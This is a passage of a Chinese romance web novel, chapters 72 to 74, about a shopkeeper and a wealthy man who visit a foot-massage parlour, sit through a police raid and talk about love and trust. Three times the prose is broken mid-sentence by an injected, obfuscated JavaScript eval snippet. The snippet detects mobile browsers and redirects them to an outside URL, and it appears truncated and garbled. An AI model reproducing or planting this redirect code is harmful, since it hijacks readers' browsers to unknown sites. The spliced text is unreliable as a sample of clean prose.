萧妧妧又是一呆，转头看向身后，这才发现大王同样没闲着，前爪搭着纸箱，后爪蹬地，磕磕绊绊当起搬运工。 好家伙，不仅使唤顾客，连顾客的狗来了都得干活。 萧妧妧老脸一红，放下手里东西，蹲下身，一把揽过大王，又是揉脑袋又是搓耳朵。 大王撒娇一样贴过来，看起来凶巴巴的捷克狼犬意外的有些憨。 萧妧妧笑了笑，调侃道：“男子本刚，为狗则弱。真看不出来，你是会为了狗子出卖苦力的人。” 黎行聿动作稍顿，目光下移，看到一脸满足的大王，哑口无言。 “……大王看家护院立过功，家里人都很喜欢它。”黎行聿好一会才接话。 萧妧妧好奇，走到他身边一起整理货架，边忙边与他闲聊，“能说说是什么功吗？” 黎行聿见她感兴趣，便说起大王是如何单打独斗，既保护了主人，又捉住了偷古董的家贼，直到警察上门才松开小偷的裤腿的丰功伟绩。 随着他的讲述，大王高高昂起狗头，骄傲得汪汪叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946056|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧妧妧听得咋舌，什么家庭啊，单独买下一套院子存放家里的古董艺术品，还配备了保安团队，最扯得是保安监守自盗。 “你们有钱人的生活还挺抓马的。”萧妧妧吐槽。 黎行聿轻笑，没反驳她的吐槽。 萧妧妧被轻笑声提醒，意识到当面吐槽不合适，清清嗓子转开话题。 有一搭没一搭的闲聊，夹杂几句问询，需要在今晚摆上货架的商品全部整齐上架。 有黎行聿帮忙，晚上不到9点，工作已然结束。 萧妧妧成就感爆棚，叉腰扫视品类丰富的货架、冷冻柜，心满意足地伸懒腰。 胳膊刚伸过头顶，咔咔一声，身上骨头造反似的连着响。 她嘶嘶吸气，捶着腰背蹲下休息。 黎行聿把摞起的空纸箱搬到后院，回到柜台边擦干净手，就看到蹲在地上的一人一狗。 “累了？” 萧妧妧仰头，逞强说：“这点活怎么会累，是爬山拉伤肌肉，有点酸。” 黎行聿要说什么，萧妧妧唰的一下起身，眼睛晶亮。 “我们去泡脚吧！” “要不要去按摩？我听说过一家很不错的会馆。” 清脆和低沉的嗓音先后响起，话落，两人同时愣住。 黎行聿看她呆呆的模样笑出声，接着问：“怎么样，要不要去？” 萧妧妧看一眼时间，说早不早说晚不晚。 “我请你吧，既然你是第一次来南市，怎么能不体验一下我们这里的特色。” 就当是感谢他付出的劳动，三四十箱货全是黎行聿帮忙搬出来，出了不少力呢，刚才看他身上蹭到不少灰痕，连衣服都弄脏了，萧妧妧心里过意不去。 “好啊，远不远？我去取车。”黎行聿笑着回应。 大王听到要出门，欢快地跳起来，左看看右看看，等着他们牵起牵引绳带它出去玩。 萧妧妧连忙拦住他：“不用不用，就在月牙巷附近，走路过去更方便。” 黎行聿牵着狗，她领着黎行聿，两人一狗出了188号院子，朝着文化街区的另一端走。 “肯定没你去过的会馆上档次，但是很有南市特色，什么针灸理疗、药物推拿、精油按脚……项目很多的，名气不小呢，来南市旅游的游客大多会把这里当最后一站。” “对了，它家有一个我最喜欢的项目，可以边按脚边点餐，如果选包间的话，可以看电影。” “糟了，还不知道你有没有吃夜宵的习惯……”萧妧妧想起什么，懊恼的说。 “我不介意尝试，有什么特色餐点推荐吗？”黎行聿偏头看向身侧。 萧妧妧掏出手机，查找攻略。 “我比较喜欢螺蛳粉或者火鸡面，你好像不太能吃辣……有了，海鲜拌饭或者煲仔饭，如果不想吃米饭，还有各种拌粉……看起来都不错呢。” 黎行聿饶有兴致的听她嘀嘀咕咕，再日常不过的对话，从她嘴里说出来却好像施了魔法一样，格外有意思。 他不由自主地沉浸其中，时不时附和两句，脸上笑意越发明显。 两人并肩向前，脚边是围绕他们奔跑嬉戏的捷克狼犬。 一男一女一狗的身影缓缓远去，逐渐融入在城市繁华的霓虹灯光之中。 72. 第 72 章 “欢迎光临~” 迎宾员热情洋溢地领着他们进店。 因为带了宠物狗，萧妧妧选择了相对私密一些的包间。 黎行聿不自在地穿梭在挨挨挤挤的大厅，打眼望过去，一排排脚丫子。 一直留意黎行聿反应的萧妧妧很快察觉到他的拘束，小声说：“没骗你吧，人真的很多，所以显得拥挤了些。” 黎行聿淡笑：“……很新奇。” “可惜今天来得迟，不然真想试试一边打麻将一边泡脚。” 萧妧妧望向大厅左侧的一个玻璃房间，眼神中流露出些许遗憾之色。 黎行聿顺着她的视线看去，宽敞的大横厅里面整整齐齐地摆放着十七八张麻将桌，桌下放着盛满热水的桶，旁边配备了餐车与餐具。 可以看得出，麻将与足浴结合的项目相当受顾客们欢迎，不仅所有的座位满员，外面还有不少人正排着队等待空位呢。 黎行聿像土包子进城一样，好奇地四处打量，萧妧妧偷瞄身侧，心里好笑。 两人说话间，迎宾员微笑着引领他们进入了预定好的包间，狗子大王单独栓在包间角落。 萧妧妧一看到沙发座就忍不住了，一屁股跌进去瘫倒。 黎行聿在沙发另一边落座，拿起菜单递给萧妧妧。 萧妧妧想客气一下，让他点菜，黎行聿推辞：“听你的，我对这里不熟悉。” 萧妧妧一听，便不再与他客套，高高兴兴接下菜单，询问黎行聿胃口如何，三下五除二确定好菜单。 考虑完口腹之欲，萧妧妧这才纠结足浴套餐。 原本她是打算自己来泡泡脚，缓解酸疼，早早定下了按摩项目，但是黎行聿在，萧妧妧有些不好意思。 她也是要面子的，当着黎行聿面鬼喊鬼叫太丢人了。 犹豫片刻，萧妧妧选择药浴加精油深度按摩，与黎行聿沟通后，为他选择古法推拿按摩。 工作人员退下做准备工作，门咔哒一下关上，不大不小的空间突然陷入了安静。 萧妧妧没和他熟到无话不谈的地步，这会忽然觉出尴尬。 松懈了，以前常和朋友约着按脚聊八卦，两个外向的E人在一起话题根本说不完。 黎行聿不像是能和她聊八卦的样子，萧妧妧欲言又止好一会选择沉默。 她挠挠头，借着打量包间缓解尴尬氛围。 黎行聿突然问：“有你喜欢的影片吗？” 萧妧妧侧身，原来觉得尴尬的只有她，黎行聿在琢磨包间的超大电视机怎么打开。 她瞥一眼屏幕，一水的爱情片，不适合他们。 黎行聿听到拖长的“嗯”声，滑动平板释放出更多影片供她选择。 “有了，我们看动画电影吧？”萧妧妧挑挑拣拣，总算找到一部合适的影片，“你看过这部吗？” 黎行聿望过去，看海报有点眼熟，“上映的时候我在国外读书，没机会看。” 萧妧妧一听，扬起笑容，“太好了，我也没看过。那时候我在读高中吧，家里人管得严，后来就把它忘了。我们都是第一次看，公平。” 她选中影片，然后舒舒服服躺倒，等待影片播放。 黎行聿想继续话题，看她一副认真观看的态度，只好放弃。 开播不到三分钟，两名技师先后端着盆进来，另有一人端来许多瓶瓶罐罐。 为了听清工作人员的问询，时不时要暂停播放，萧妧妧的兴致减去大半。 先洗脚，再按揉，半小时的足部保养结束，萧妧妧越发困顿。 好在涂抹精油时，他们点的夜宵陆陆续续送进来，摆在两张按摩沙发椅中间。 方桌摆得满当当，萧妧妧便没心情关注电影了，掏出手机拍照。 角度光线很一般，萧妧妧拍不到满意画面，尝试了几次，最终因为影响技师发挥被叫停。 黎行聿见状掏出自己手机，“需要我帮忙吗？” 萧妧妧眼睛一亮，小鸡啄米似的点头。 “可以啊，你现在的技术……” 夸奖的话说到一半，手机叮铃铃响，萧妧妧一看备注是老妈，心里忍不住颤抖。 父母年纪越大，她越怕接到非正常时间打来的电话，总担心听到什么不好的消息。 电影再次暂停，萧妧妧对黎行聿笑了笑以示感谢，赶紧接通。 没等她开口关心，电话那头传来张芸女士噼里啪啦一连串的话。 “妧妧，明天来你小姨家，你那个店铺先别管了，介绍个新朋友给你认识。” 萧妧妧听到中气十足的声音，稍稍放松，随即警惕起来。 “新朋友？谁的朋友？” 张芸咂咂嘴，嗔怪的说：“让你见见人，你表哥回来□□件，他朋友跟着过来玩两天，哎呦，小伙子长得可帅了，我和你小姨越看越像你男朋友。” 萧妧妧默了默，无语地翻出一个白眼。 “您再仔细看看，那会不会是我哥的男朋友。” “去去去！胡说什么呢，小伙子白白净净，斯斯文文，今年27岁，一个月工资一万多，家里人特别简单，独生子，老家在我们隔壁室……” 萧妧妧叹气，挪远了手机，任由张芸叨咕。 黎行聿挑眉，不解的指了指手机，萧妧妧摇摇头，神情是一言难尽。 等电话那头传来张芸好几声呼唤，萧妧妧才把手机贴在耳边。 “听着呢听着呢，我今年过完生日才到22，有什么着急的。 再说了，27岁是不是年纪大了点？我喜欢比我年轻的，什么男高啊男大的，我想永远和十八岁的男孩子谈恋爱。” 萧妧妧暗暗对那位表哥的朋友说声抱歉，直接拒绝肯定会被老妈念叨，她只好敷衍过去。 电话那头听她吊儿郎当不正经的话，差点炸了，连名带姓的喊她，萧妧妧一凛，脊背挺直，软和声调说好话哄她。 “我工作可忙了，忙得我晚饭都没吃，我现在的首要任务是赚钱，日、薪、越、亿，不努力怎么行？哪里有工夫谈对象啊。” 萧妧妧生怕晚一点，张芸就能把相亲见面时间地点定下，着急忙慌的挂断电话。 等了一会，张芸没再打来，萧妧妧长舒一口气。 她冲黎行聿笑笑解释：“上个月堂姐带男朋友回家了，下个月表哥要带女朋友回家，我妈有点着急了。” 黎行聿凝着她的脸，试探问：“你喜欢十八岁的男生？” 萧妧妧脸颊唰的一下涨红，她清清嗓子，心虚的说：“那是糊弄我妈呢。” 说得时候只图嘴皮子爽快，说完意识到黎行聿旁听了全部，萧妧妧只剩下尴尬。 “客人，放松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965114|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，脚趾舒展我才好按摩。”技师温柔提醒她。 萧妧妧更尴尬了，蜷缩的脚趾被迫舒展。 “是不是可以理解为，你不在乎年纪？”黎行聿追问。 萧妧妧摇头：“还是在乎的，年纪太大也不行。” 黎行聿：“你有想过另一半是什么样，会比你大多少吗？” “我只幻想过以后能赚多少……”萧妧妧认真思考了一会，说：“我暂时没想谈恋爱，甚至结婚，如果真要说对另一半的要求，我希望越年轻越好。” 听说上了年纪的男孩子，不太行。 至于其他的附加条件，萧妧妧想不到更具体的内容，反正也不可能有完全符合条件的，如果有，那一定是杀猪盘。 黎行聿倏然止了声。 萧妧妧疑惑转头，调侃道：“问这么仔细，你不会是想给我介绍对象吧？” 黎行聿耸肩，“要不要说说看？或许我恰好认识符合你要求的。” 萧妧妧双臂交叉挡在胸前，一副敬谢不敏的样子，说：“没要求，不想谈。刚才有一句没糊弄我妈，我的目标是日薪越亿！” 萧妧妧振奋握拳，她认为这不是梦，迟早会实现。 黎行聿想追问下去，但见萧妧妧的态度明显是不想深谈，犹豫一会，放弃话题，转而不明所以地看向她。 “日新月异？” 萧妧妧掏出手机，打出几个字发给他，“这是谐音梗。” 黎行聿看一眼亮起的屏幕，恍然大悟，随即哑然失笑。 “少年当有凌云志。”他感叹的语气说。 因为语气太过正常，以至于萧妧妧听在耳朵里，正常得有点不对劲。 小时候不懂事说大话，立志要如何如何，身边人的反应无外乎两种，一种是不以为意的顺着她的话画大饼，情绪价值给得足足的，这种一般是好人。 还有一种是不怀好意的嘲笑，一副“你肯定做不到，但不妨碍我看你热闹”的神情，这种一般不是人。 她狐疑回望过去，黎行聿一脸诚恳与认同，好像信了她的玩笑话，并坚信她能够实现。 萧妧妧一时间不知道如何反应，以上举例的两种情况出现任意一种她都有办法应对，像黎行聿这样的，她反倒说不出话。 “说着玩的，网上很流行谐音梗。”萧妧妧含糊带过话题。 也对，她怎么忘了，黎行聿大小是个霸总，切切实实达到日薪越亿的人，当然不觉得这是不可能完成的目标。 差点给她感动坏了。 “看电影看电影！”萧妧妧飞快转移话题，“烤串要凉了，你多吃点。” 晚饭是真没顾得上吃，不是她在向张芸卖惨，等技师开始涂抹精油，萧妧妧率先捧起一碗拌粉。 黎行聿努力适应片刻，神色自然地端起一碗甜汤。 两个小时的足部项目进行到一半，电影播放了大半，外面走廊吵嚷起来。 萧妧妧正全身心地享受难得的休闲时光，听到突如其来的喧闹，微微皱起眉头。 她刚想问问怎么回事，倏地，大门竟然被人推开，重重地撞在墙上，紧接着，一群身着制服的警察们闯进来。 “不许动！身份证拿出来！” 萧妧妧傻眼，呆呆地望着。 这……她不就偷摸看了一眼小黄文嘛，至于吗？ 73. 第 73 章 当年没机会看的电影，如今也没能弥补遗憾。 萧妧妧微微侧过头，目光恰好与身旁的黎行聿交汇于半空中。 四目相对的瞬间，彼此都从对方的眼中捕捉到了一丝囧意。 等他们一起转过头，看向角落里惊醒的，弓着背、龇着牙，一副捍卫者姿态的大王，两人像打开隐藏开关，情不自禁发笑。 谁能想到啊，难得做一次足浴放松放松，凑巧地撞上警察扫黄，莫名其妙地成为了嫌疑对象。 听到年轻警察离开前嘟囔一句“怎么跑这约会来了”，萧妧妧无话可说。 “抱歉，我不知道做足浴会……”萧妧妧笑够了，捂着肚子向他表达歉意。 就很离谱，幸好足浴店够正经，否则查出点什么，两人双双进局子交待情况，黎行聿这个大客户她算是得罪了。 黎行聿摇摇头，笑着说：“很独特的经历。” 萧妧妧以为事情到此为止，按摩可以继续，影片也可以继续。 她刚点开播放，隔壁包间突然传来激烈争吵声。 紧接着，便是拳脚相加、大打出手的混乱场面，走廊迅速挤满围观人群。 萧妧妧透过门上的装饰玻璃看到外面景象，哪还有心思看电影，按下暂停，抻着脖子去听。 刚刚为她完成一轮按摩服务的技师主动请缨，自告奋勇地出门打探情况。 而一旁的黎行聿，被这一连串始料未及的意外事件给冲击得有些回不过神，面无表情。 技师拉开门，争吵、求饶、劝架……还有警察同志的教育，一声接一声传来。 不用技师打探，萧妧妧很快听出事情缘由。 原来是有人实名举报足浴店聚众那啥，警察一听哪还得了，赶紧带人调查。 这一顿查，没找到涉.黄嫖.娼的，倒是抓到一对偷.情的男女。 好巧不巧，打举报电话的人出现，冲上去抓着男方一顿揍。 从她的骂骂咧咧中，围观的吃瓜群众很快明白过来。 萧妧妧听到啪啪啪几个巴掌声，不由自主地捂住脸。 “这就是我不想谈恋爱的原因之一。”她唏嘘道。 黎行聿侧过身：“担心另一方背叛？” 萧妧妧一脸沉重地摇头：“正相反，我才是那个会出轨的。” 萧妧妧已经拥有千万资产了，以后只会更富有，她不出轨谁出轨？ 这……黎行聿神情凝固，从未想过的答案让他一时间接不上话。 难得见他把情绪露在脸上，萧妧妧好整以暇地欣赏一会，收敛笑意，撑着脸蛋，老实巴交的说： “尤其相亲结婚，本身没有感情可言，我不觉得我有霸总的自制力，不受外面年轻帅哥的勾引。老实说，精神和□□，总有一个要去搞副业。” “万一传出去，我爸妈颜面扫地。” 不管是附和还是辩驳，黎行聿应该说些什么，然而他的语言系统像受到冲击一般，半晌吐不出一个字。 “……你对婚恋的态度有些消极，如果有感情基础，或许能解决你的顾虑。” 尽管黎行聿用词克制委婉，语气平和似闲聊，仍能听出他话音里的不认同，甚至夹杂了一丝谴责的味道。 萧妧妧点头，认可了他的话，但神情依然充满困惑。 “你说得有道理，可是，我连爱是什么都不知道。” 谈到爱，黎行聿抿紧唇角，陷入沉默。 萧妧妧不需要他回应，打开话匣子后，自顾自的说：“我大学学的是表演专业，演过很多陷入爱恋的角色，知道很多关于爱的理论。” “比如说，爱的产生是没有逻辑、没有理由、没有预兆的，爱和喜欢不是一回事，爱与喜欢的体现也不一样。 我知道爱一个人要怎么演，喜欢一个人又该做出什么样的眼神和举止，但是，我仍旧不知道爱是什么，也没体会过喜欢一个人的心情，更做不到在不懂爱的时候进入婚姻。” “我对婚姻的理解，是责任加奉献，如果连喜欢的情绪都无法产生，我没信心保证我能扛住责任，甘愿奉献。” “最重要的是，不管是爱还是喜欢又或者是婚姻，任何一段关系的展开，始终存在一个我无法忽视的关键点，信任。” “想要做到完全信任一个陌生人，太难了。” “而爱是盲目的，爱比信任更先一步占据思想，产生了爱，很难生不出信任，可对方真的值得信任吗？” 遭到背叛的女人抽噎着哭诉，出轨男人的缄默与不耐呵斥，杂乱的背景音交织着，印证她的言论。 黎行聿像是在认真思考她的话，沉吟片刻，缓缓开口回应。 “我不知道爱是什么，但我认可这么一句话——‘互相敞开心魂，为爱所独具’。至于喜欢……”话音稍顿，黎行聿似乎有些拿捏不准，选择略过不谈，转而说： “说说婚姻吧，我和你的观点有些出入，在我看来，缔结契约的那一刻，也是互相交换忠诚的时刻，与情感无关，只有责任。” 缓一口气，他接着说：“信任没有你想象的那么难，试试看，说不定有惊喜。” “可不敢乱试。”萧妧妧飞快摇头。 “比如今天，你提议去那什么会馆，而我却带你来了这里，虽然我嘴巴上说得好听，想带你体验一下南市特色，其实我自己心里的想法完全是另一回事。” 黎行聿了然，插话道：“因为不信任。” 萧妧妧没什么不好意思承认的，坦荡荡说：“对，我不能百分百信任你，所以不敢跟你去陌生地方，让我踏实的选择是带你来到我熟悉的地方。” 黎行聿惊喜于她的坦白，微微点头，赞赏的语气说：“谨慎这一点，值得表扬。” 萧妧妧嘿嘿笑，举起饮料凑过来碰杯，“感谢理解。” 黎行聿随之端起杯子与之轻碰。 “铛”一声脆响，他抿一口酸溜溜的果汁气泡水，总结道：“我大概明白了，对你而言，需要对对方足够的了解，掌握充分的信息后，才能决定要不要培育爱。” 萧妧妧耸肩：“矛盾的是，并不是深入了解后就能有爱，甚至在了解过后，发现对方连喜欢的情绪都不值得付出。” 她啧啧两声：“看吧，是不是很麻烦？” 黎行聿不置可否，但又无法说服她。 “咔哒” 说话的工夫，打探情报的技师回来了，关上包间门，绘声绘色讲述她听来的八卦。 萧妧妧即便猜到了故事的走向，仍旧兴致勃勃听技师讲述。 两小时的足浴按摩，因为意外事故中断了几分钟，店经理一边赔礼道歉，一边做主送来八折优惠券。 萧妧妧递给黎行聿，他心不在焉的，好一会才反应过来，礼貌推拒了。 萧妧妧喜滋滋收下，下次可以请昭昭一起体验。 出了店门，已经是晚上十一点，足浴店门口没多少人排队。 萧妧妧好像活过来似的，浑身舒坦。 她大迈步走在前面，黎行聿牵着大王，不紧不慢跟在身后。 到了月牙巷，萧妧妧拐进去，走了没两步，忽然发现后面没了一人一狗的脚步声。 她疑惑回头，恰好看着黎行聿错过巷子入口，直直穿过斑马线继续向前。 “黎行聿，走错了，你快回来。”萧妧妧连忙开口叫住他。 最先做出反应的是大王，听到召唤蹭一下跳起，用力拖拽着他往回走。 黎行聿如梦初醒般回过神，绕回她身侧，重新跟上她的步伐，低声道一句抱歉。 “想什么呢，走路的时候别发呆，巷子里有不少电动车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976495|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，容易碰着。”萧妧妧好心提醒。 黎行聿嗯了一声，低沉的嗓音清清淡淡，像夏日微风飘进耳朵里。 “你提醒了我，我在想，这种情况算是喜欢还是生病。” 萧妧妧唰一下竖起耳朵。 有瓜，想吃。 她心中暗自窃喜，迫不及待想要探听更多内幕。 萧妧妧一直怀疑黎行聿和云昭昭有CP，然而最近几次接触后渐渐发觉不太像。 黎行聿对云昭昭并未有特别的优待，而从云昭昭那边来看，她对黎行聿完全是普通社畜面对大老板时战战兢兢的模样。 两人之间别说甜蜜互动了，连一丝一毫的暧昧气息都看不出来。 萧妧妧是真的好奇，到底是怎么个事。 “说说看，我可是经验丰富的老军师了，说不定可以为你解惑。” 萧妧妧搓着手，仰头望他，就差开口问他喜欢的是谁。 黎行聿撞进她亮晶晶、水润润的狐狸眼，心悸的症状倏然加重。 萧妧妧好一会没等到他开口，又舍不得放弃八卦机会，主动开启话题。 “检查过身体吗？没有窦性心动过速的毛病，且只对特定人产生症状，是喜欢。” “TA欠你钱吗？如果不欠钱，你还总是不自觉想起TA，是喜欢。” “有情感依赖的毛病吗？如果没有，常常想与TA见面，是喜欢。” “会只在特定环境下注意对方吗？不管人多人少，你总是不自觉被TA吸引走目光与注意力，是喜欢。” “还有很重要的一点，你愿意为TA花钱花心思吗？希望TA因你而快乐吗？三者都有，且达成以上成就，肯定是喜欢。” “对了，忍不住在TA面前亮出鲜艳羽毛，除了孔雀成精这一可能，剩下的只有一个，是喜欢！” 萧妧妧琢磨一会，认为自己总结的不够严谨，补充道：“哦，要排除天生臭美爱炫耀这一可能。” 她掰着指头举了一连串的例子，还有许多没能想起来，她说得口干舌燥，黎行聿微垂着脑袋，一声不吭。 萧妧妧以为自己说得不够清楚，想着重新组织一下语言，实在不行从网上搜一点情感贴转发给他，一搜一大把，方便得很。 黎行聿的声音在身侧响起：“嗯，好像是喜欢呢。” 萧妧妧心口一跳，偏头瞄他。 黎行聿嘴角含笑，一副醒悟的神情，整个人因明晰自己的内心，散发出平和安定的气息。 “变得不像自己，会不安，会胆怯……”他深吐息，轻笑一声，“原来是喜欢啊。” 黎行聿回望过来，目光灼灼。 萧妧妧像被他的目光烫了一般，不自在地偏移视线。 她试探着问：“既然弄清楚自己的心意了，有没有想过和TA坦白？” 黎行聿毫不犹豫的回答：“目前没想过。” 萧妧妧挠头，追问脱口而出：“为什么？” 黎行聿声音淡淡，“她不喜欢我。” 萧妧妧恍然：“原来你在玩暗恋啊。” 黎行聿笑了笑，富有磁性的嗓音飘来，理智而沉静的讲述理由。 “我的生活在她看来应该很无聊，除了工作就是工作，忙起来分身乏术。 我给不了形影不离的陪伴，和这样的我谈恋爱，她会受委屈。” 萧妧妧不赞同地反驳：“这只是你的想法。” 黎行聿步子停顿，目光直直落在萧妧妧的背影上。 “说不定她比你忙，而且，并不是每个女生对情感的需求都是陪伴，每对情侣的相处模式也不都是一样的。” 比如男女主，他们的相处模式太违规了。 黎行聿看她背影越拉越远，迈步追上去。 “你呢，你的需求是什么？” 74. 第 74 章 “我是无情的赚钱机器，我没有情感需求。” 萧妧妧一直认为自己还是个孩子，远不到考虑复杂情感问题的年纪，以玩笑的口吻回复。 黎行聿张口欲言，萧妧妧停下脚步。 “总算到家了，”萧妧妧欢呼一声，扭头冲黎行聿挥手，“晚安，黎行聿，今天谢谢你帮忙啊。” 黎行聿抬头看向她身后，迟钝反应过来，说话的工夫，他们已经走到巷子深处。 这时，萧妧妧蹲下身，抱住大王的狗头□□了几下。 “也谢谢大王，你推箱子的动作特别帅。” 威武的捷克狼犬瞬间被她哄成狗腿子，狗头一个劲的往萧妧妧怀里钻，嗷呜着要贴贴。 黎行聿嗫嚅一会，最终只有一句“晚安”回应她。 目送萧妧妧蹦蹦跳跳回家，身影消失在闭合的门后，黎行聿垂下眼帘，心中泛起一丝失落，却也夹杂了一抹庆幸。 “走吧，大王。” 他泄出一口浊气，等心跳恢复正常才转身离开，迈出去两步，黎行聿发现牵引绳拽不动。 侧身低头，就看见大王屁颠屁颠地追到门口，两爪搭着门板踩，尾巴摇成螺旋桨，想换主人的心思几乎写在脸上。 黎行聿：…… 他无奈地抱起大王，强硬地拧过狗头，加重语气强调。 “傻狗，她不喜欢你。” …………………… 又是一个艳阳天，时间刚过八点，灿金的阳光倾泻而下，璀璨云霞铺满半边天。 美好的晨光中，萧妧妧悠闲地穿梭在庭院中，手持水壶，给花草盆栽浇逐一浇水。 忙完家中杂事，她伸了个懒腰，雄赳赳气昂昂赶去小卖部。 当然，走得是院子的正门，她没敢从小卖部前门进。 “谢谢啊，辛苦大家啦，我请你们吃早饭。” 几乎是刚迈进门，巷子口临停区来了三辆厢式小货车，小推车排成队，一箱箱货品被源源不断地送入院子的正门口。 萧妧妧见他们汗流浃背，一人送上一瓶水，又去旁边包子铺给他们买早饭。 “萧老板，你店里被人抢了吗？怎么要那么多货。”帮忙搬货的大叔一口包子一口水，嘴里还含混不清地问。 萧妧妧心里不由得“咯噔”一下。 之前几次送来的货都卖给龙傲天和申明月了，需求量太大，是其他便利店的十几倍。 “柳叔，你去店里看看吧，排队买东西的人太多了，我这铺子差点让人搬空。”萧妧妧神色如常。 “老柳，你别没看新闻啊，小萧收了个老物件，发现是什么史料，就给捐博物馆去了，这两天好多网友上门买东西呢。”一旁歇息的配送工连忙插话。 老柳一口咽下半个包子，傻愣愣问：“真卖空了啊？” 他眼珠子定在某处，嘴里叽叽咕咕的盘算起来。 “哎呦，这么多货卖出去可不少钱，而且铺子还是自家的，不用付房租，一天少说千八百……” 老柳自觉算得大差不差，眼睛一瞪，扬声问：“萧老板，你这小卖部不少赚吧？一个月有没有十来万？” “赚什么赚，你们看着小卖部热热闹闹不少人，昨晚一拉账单，利润刚好够买这一袋包子的。”萧妧妧愁眉苦脸地吐槽。 老柳不信，“哪能啊，你这铺子可不小。” “表面风光，其实都在硬撑着呢，不然我也不能再收拾个古董铺子出来，就是想法子多条门路赚点生活费。早知道现在生意这么难做，我说什么也不能接手。” 萧妧妧往墙边一蹲，大倒苦水，嚷嚷着她亏了多少多少，贷款快把她给压得喘不过气来了。 卸货的几位配送大叔听到她一番抱怨，感同身受似的，纷纷附和。 “做生意嘛，难免有起有落。我家那个做买卖的亲戚前段时间也亏了不少呢。” 其他几位大叔跟着说起自己的见闻，讲述亲朋好友生意失败的例子。 等时间走到九点，大家卸完货，要赶去下一个网点，萧妧妧把人送走才彻底松了一口气。 小卖部赚钱的消息前脚传出去，后脚就能遭贼，财帛动人心，萧妧妧哪敢透露一字半句，可劲的卖惨。 想到这里，萧妧妧不敢有丝毫耽搁，当机立断决定先在院子里安报警器，监控提示放大一倍贴在门牌号边上，以起到更好的警示作用。 忙完这些，再回头去看院中堆积如山的货箱，她顿时感到一阵头晕目眩。 萧妧妧这会是真忍不住愁眉苦脸了。 如此大规模的补货上架，只在开业前经历过，那时候有爸妈在身边帮衬着，堂姐和小姨也时不时过来搭把手，虽然辛苦，好歹应付得来。 现在倒好，所有重担压在她的肩上，难度可想而知。 眼不见为净，萧妧妧逃回小卖部，看看有没有异世界客人的留言。 才刚进门，无意瞥到店门外的景况，萧妧妧吓一跳。 阳光透过树叶的缝隙洒下斑驳的光影，赶早的游客时不时经过，本该是惬意的光景，偏偏店外的绿荫下聚集了许多人逗留徘徊。 过路游客好奇不已，停下脚步抬头辨认招牌，再凑近店门一探究竟。 直到看清是小卖部，店里货架空了大半，游客一边惊叹小卖部的异常火爆，一边举起手机拍照，随后慢悠悠走远。 好在她有先见之明，早早贴了通知单，除了坚持逗留不知道在等什么的人，大部分人看见通知单都会选择安静离去。 没过多久，新的一波人又接踵而至，同样的场景不断上演。 萧妧妧看着门外熙熙攘攘的人群，比起昨天的情况更甚几分，当场社恐了。 这架势，更不想营业了，补一次货卖断一次，然后又是新一轮的大规模补货，恶性循环，社畜也不能这么使啊。 深思熟虑之后，萧妧妧决定歇业几天，等热潮消退，没那么多人跟风前来打卡购物，她再看情况恢复营业。 什么时候营业什么时候补货，能偷一天懒是一天，反正她是一点不着急。 那点日常用品，就算卖空十次，所带来的收益也远远不及来自异世界客人的一笔交易。 孰轻孰重，萧妧妧心里有杆秤，正好，她还能轻松一点。 打定主意，她索性把小卖部的遮光帘全部放下，彻底隔绝外界的干扰，不管怎么走动窥视，都无法看清店内真实情况。 处理完小卖部，萧妧妧转身回到院子里，一股脑把货箱挪进空间。 粗糙地收拾一遍，小院变得整齐宽敞，她总算是能歇口气了。 正当她犹豫要不要趁着这会没人，萧妧妧忽然注意到，院子一角多了一堆奇形怪状的快递包裹。 她回想一会，是柳叔送货时见门外一堆快递，询问过后，顺手放在推车上送进来。 萧妧妧以为是网上购买的杂货，走近仔细查看时却发现，这些包裹的体积大小跟普通的杂货完全对不上号。 带着满心的疑惑，萧妧妧再次确认收货人的信息，确定没有送错，她一头雾水地拆包裹。 不拆还好，一拆开来可真把萧妧妧给惊得目瞪口呆。 她什么时候买的轮椅？ 萧妧妧满脑子问号，随手拆开了另一个包裹。 这次看到的东西更是让她瞠目结舌，人形包裹之中赫然摆放着一个充气娃娃！ 这又是闹哪一出啊？ “天呐，真的有会跑的椅子，好神奇啊。” 萧妧妧怀疑过自己精神分裂，唯独没怀疑过异世界的客人。 柳如烟一身石榴红罗裙，蹦蹦跳跳跑来，快快乐乐坐在轮椅上，萧妧妧眯了眯眼。 “这些东西……是你买的？” 柳如烟眨着一双无辜的杏眼，“买？不是买的，本宫没给过钱。” 萧妧妧换了个说法：“你昨天是不是在网上看到了轮椅和充气娃娃？” 她提溜起旁边死沉死沉的充气娃娃，摆在柳如烟面前。 柳如烟惊讶的捧住脸。 “天呐天呐，太神奇了！萧老板，是不是只要填那些符号，图片上的东西都可以送给我？” 